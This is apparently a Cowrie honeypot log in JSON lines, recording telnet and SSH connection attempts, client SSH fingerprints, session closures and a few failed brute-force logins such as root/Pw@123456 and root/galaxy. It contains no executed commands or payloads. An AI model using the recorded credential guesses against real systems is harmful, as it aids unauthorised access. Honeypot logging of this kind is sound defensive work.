{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":41708,"dst_ip":"10.17.0.5","dst_port":23,"session":"00218659b600","protocol":"telnet","message":"New connection: 172.233.212.110:41708 (10.17.0.5:23) [session: 00218659b600]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:49.858423Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:49.887914Z","src_ip":"37.143.61.130","session":"c6cfc32af6ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42170,"dst_ip":"159.203.135.109","dst_port":22,"session":"a9fc03d1c1a0","protocol":"ssh","message":"New connection: 159.203.92.129:42170 (159.203.135.109:22) [session: a9fc03d1c1a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:50.469559Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:50.473938Z","src_ip":"159.203.92.129","session":"a9fc03d1c1a0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:50.483121Z","src_ip":"159.203.92.129","session":"a9fc03d1c1a0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"abc..123","message":"login attempt [ansible/abc..123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:50.494261Z","src_ip":"159.203.92.129","session":"a9fc03d1c1a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:51.501548Z","src_ip":"159.203.92.129","session":"a9fc03d1c1a0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.05925226211548,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:51.798516Z","src_ip":"172.233.212.110","session":"3a0f084a4745","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.93493890762329,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:52.557877Z","src_ip":"172.233.212.110","session":"74184f12afdf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":33298,"dst_ip":"10.17.0.5","dst_port":23,"session":"503b071caea9","protocol":"telnet","message":"New connection: 139.162.207.207:33298 (10.17.0.5:23) [session: 503b071caea9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:53.630420Z"}
{"eventid":"cowrie.session.closed","duration":42.41056776046753,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:54.804099Z","src_ip":"139.162.207.207","session":"a9966c6cbb19","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":50748,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5a1f5f79580","protocol":"telnet","message":"New connection: 172.233.212.110:50748 (10.17.0.5:23) [session: b5a1f5f79580]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:55.245233Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pw@123456","message":"login attempt [root/Pw@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:56.080974Z","src_ip":"37.143.61.130","session":"c6cfc32af6ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":50754,"dst_ip":"10.17.0.5","dst_port":23,"session":"526c2b46d96b","protocol":"telnet","message":"New connection: 172.233.212.110:50754 (10.17.0.5:23) [session: 526c2b46d96b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:56.137829Z"}
{"eventid":"cowrie.session.closed","duration":31.4169921875,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:56.905738Z","src_ip":"172.233.212.110","session":"e3b38938374a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"8.5","message":"Connection lost after 8.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:57.182215Z","src_ip":"37.143.61.130","session":"c6cfc32af6ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.96963715553284,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:29:58.514835Z","src_ip":"209.126.87.217","session":"6ae20e8367a8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.63993573188782,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:01.666550Z","src_ip":"172.233.212.110","session":"1bcfbba73f8f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":50760,"dst_ip":"10.17.0.5","dst_port":23,"session":"06a2d9b597d3","protocol":"telnet","message":"New connection: 172.233.212.110:50760 (10.17.0.5:23) [session: 06a2d9b597d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:01.810522Z"}
{"eventid":"cowrie.session.closed","duration":36.14454364776611,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:03.368918Z","src_ip":"139.162.207.207","session":"f3d51cf7983d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"125.31.2.160","src_port":49416,"dst_ip":"10.17.0.5","dst_port":22,"session":"e1321113edfc","protocol":"ssh","message":"New connection: 125.31.2.160:49416 (10.17.0.5:22) [session: e1321113edfc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:03.562316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:03.572882Z","src_ip":"125.31.2.160","session":"e1321113edfc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:03.797323Z","src_ip":"125.31.2.160","session":"e1321113edfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.56013202667236,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:03.950583Z","src_ip":"172.233.212.110","session":"56e8e88518f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93873429298401,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:04.410390Z","src_ip":"172.233.212.110","session":"ff9d1e4d5443","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"galaxy","message":"login attempt [root/galaxy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:04.703747Z","src_ip":"125.31.2.160","session":"e1321113edfc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":46964,"dst_ip":"10.17.0.5","dst_port":23,"session":"491f70e23a19","protocol":"telnet","message":"New connection: 139.162.207.207:46964 (10.17.0.5:23) [session: 491f70e23a19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:05.220612Z"}
{"eventid":"cowrie.session.closed","duration":39.954620599746704,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:05.506844Z","src_ip":"139.162.207.207","session":"bae5037620df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:05.927540Z","src_ip":"125.31.2.160","session":"e1321113edfc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00300908088684,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:07.945473Z","src_ip":"42.114.201.41","session":"2e5f3f23c00f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.272042989730835,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:08.780508Z","src_ip":"209.126.87.217","session":"58e9194e29cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00253582000732,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:10.766908Z","src_ip":"42.114.201.41","session":"73c113766e4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"42.114.201.41","src_port":25005,"dst_ip":"159.203.135.109","dst_port":23,"session":"c18529b0119d","protocol":"telnet","message":"New connection: 42.114.201.41:25005 (159.203.135.109:23) [session: c18529b0119d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:11.675054Z"}
{"eventid":"cowrie.session.connect","src_ip":"42.114.201.41","src_port":10115,"dst_ip":"159.203.135.109","dst_port":23,"session":"4cddb32484e2","protocol":"telnet","message":"New connection: 42.114.201.41:10115 (159.203.135.109:23) [session: 4cddb32484e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:12.511328Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":50170,"dst_ip":"10.17.0.5","dst_port":23,"session":"584da4268be8","protocol":"telnet","message":"New connection: 172.233.212.110:50170 (10.17.0.5:23) [session: 584da4268be8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:12.752284Z"}
{"eventid":"cowrie.session.closed","duration":32.59428954124451,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:12.859714Z","src_ip":"172.233.212.110","session":"418aa826bea6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.515267610549927,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:13.259785Z","src_ip":"209.126.87.217","session":"b2bad2bbd1ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"42.114.201.41","src_port":34039,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d52d72e5f50","protocol":"telnet","message":"New connection: 42.114.201.41:34039 (159.203.135.109:23) [session: 8d52d72e5f50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:14.344694Z"}
{"eventid":"cowrie.session.connect","src_ip":"42.114.201.41","src_port":21541,"dst_ip":"159.203.135.109","dst_port":23,"session":"acb738f2b017","protocol":"telnet","message":"New connection: 42.114.201.41:21541 (159.203.135.109:23) [session: acb738f2b017]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:14.500250Z"}
{"eventid":"cowrie.session.connect","src_ip":"42.114.201.41","src_port":9464,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb0f2965f739","protocol":"telnet","message":"New connection: 42.114.201.41:9464 (159.203.135.109:23) [session: bb0f2965f739]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:14.543229Z"}
{"eventid":"cowrie.session.closed","duration":32.22373723983765,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:15.363161Z","src_ip":"209.126.87.217","session":"42856225649d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":50186,"dst_ip":"10.17.0.5","dst_port":23,"session":"b767810e4400","protocol":"telnet","message":"New connection: 172.233.212.110:50186 (10.17.0.5:23) [session: b767810e4400]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:15.766692Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":44030,"dst_ip":"159.203.135.109","dst_port":23,"session":"9bc3111e1a43","protocol":"telnet","message":"New connection: 209.126.87.217:44030 (159.203.135.109:23) [session: 9bc3111e1a43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:18.084870Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":36160,"dst_ip":"10.17.0.5","dst_port":23,"session":"56189b6d2a58","protocol":"telnet","message":"New connection: 139.162.207.207:36160 (10.17.0.5:23) [session: 56189b6d2a58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:18.337637Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":50188,"dst_ip":"10.17.0.5","dst_port":23,"session":"3823e3f391b7","protocol":"telnet","message":"New connection: 172.233.212.110:50188 (10.17.0.5:23) [session: 3823e3f391b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:19.470542Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":50196,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ccbbb1eb7a7","protocol":"telnet","message":"New connection: 172.233.212.110:50196 (10.17.0.5:23) [session: 6ccbbb1eb7a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:19.766122Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":36162,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a5430cfd4c8","protocol":"telnet","message":"New connection: 139.162.207.207:36162 (10.17.0.5:23) [session: 5a5430cfd4c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:19.849223Z"}
{"eventid":"cowrie.session.closed","duration":32.0237762928009,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:21.291511Z","src_ip":"172.233.212.110","session":"72a8f3f10725","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.623430013656616,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:21.481755Z","src_ip":"172.233.212.110","session":"00218659b600","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.218101978302,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:21.735302Z","src_ip":"139.162.207.207","session":"41bd68c0ec83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":50200,"dst_ip":"10.17.0.5","dst_port":23,"session":"51bbfc2a71ac","protocol":"telnet","message":"New connection: 172.233.212.110:50200 (10.17.0.5:23) [session: 51bbfc2a71ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:22.193618Z"}
{"eventid":"cowrie.session.closed","duration":36.23137664794922,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:22.247360Z","src_ip":"172.233.212.110","session":"018defdccab0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":43772,"dst_ip":"159.203.135.109","dst_port":23,"session":"203314820728","protocol":"telnet","message":"New connection: 209.126.87.217:43772 (159.203.135.109:23) [session: 203314820728]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:22.465859Z"}
{"eventid":"cowrie.session.connect","src_ip":"139.162.207.207","src_port":36178,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd0b362ad203","protocol":"telnet","message":"New connection: 139.162.207.207:36178 (10.17.0.5:23) [session: fd0b362ad203]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:23.010035Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":47338,"dst_ip":"10.17.0.5","dst_port":23,"session":"55f64104adf4","protocol":"telnet","message":"New connection: 172.233.212.110:47338 (10.17.0.5:23) [session: 55f64104adf4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:24.056515Z"}
{"eventid":"cowrie.session.connect","src_ip":"209.126.87.217","src_port":43776,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4a93a488e00","protocol":"telnet","message":"New connection: 209.126.87.217:43776 (159.203.135.109:23) [session: c4a93a488e00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:24.568661Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":50212,"dst_ip":"10.17.0.5","dst_port":23,"session":"db6c49d993b2","protocol":"telnet","message":"New connection: 172.233.212.110:50212 (10.17.0.5:23) [session: db6c49d993b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:25.316004Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":47346,"dst_ip":"10.17.0.5","dst_port":23,"session":"96500299032c","protocol":"telnet","message":"New connection: 172.233.212.110:47346 (10.17.0.5:23) [session: 96500299032c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:25.634421Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":47356,"dst_ip":"10.17.0.5","dst_port":23,"session":"477e12817c49","protocol":"telnet","message":"New connection: 172.233.212.110:47356 (10.17.0.5:23) [session: 477e12817c49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:26.407143Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":47368,"dst_ip":"10.17.0.5","dst_port":23,"session":"0551543a5d96","protocol":"telnet","message":"New connection: 172.233.212.110:47368 (10.17.0.5:23) [session: 0551543a5d96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:27.141956Z"}
{"eventid":"cowrie.session.closed","duration":33.323323488235474,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:28.568454Z","src_ip":"172.233.212.110","session":"b5a1f5f79580","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":47372,"dst_ip":"10.17.0.5","dst_port":23,"session":"474bd8a854cf","protocol":"telnet","message":"New connection: 172.233.212.110:47372 (10.17.0.5:23) [session: 474bd8a854cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:29.110020Z"}
{"eventid":"cowrie.session.closed","duration":33.41848158836365,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:29.556198Z","src_ip":"172.233.212.110","session":"526c2b46d96b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":47374,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd72fa85803c","protocol":"telnet","message":"New connection: 172.233.212.110:47374 (10.17.0.5:23) [session: bd72fa85803c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:29.678997Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.233.212.110","src_port":47378,"dst_ip":"10.17.0.5","dst_port":23,"session":"33ac4fa877fc","protocol":"telnet","message":"New connection: 172.233.212.110:47378 (10.17.0.5:23) [session: 33ac4fa877fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T05:30:29.874783Z"}
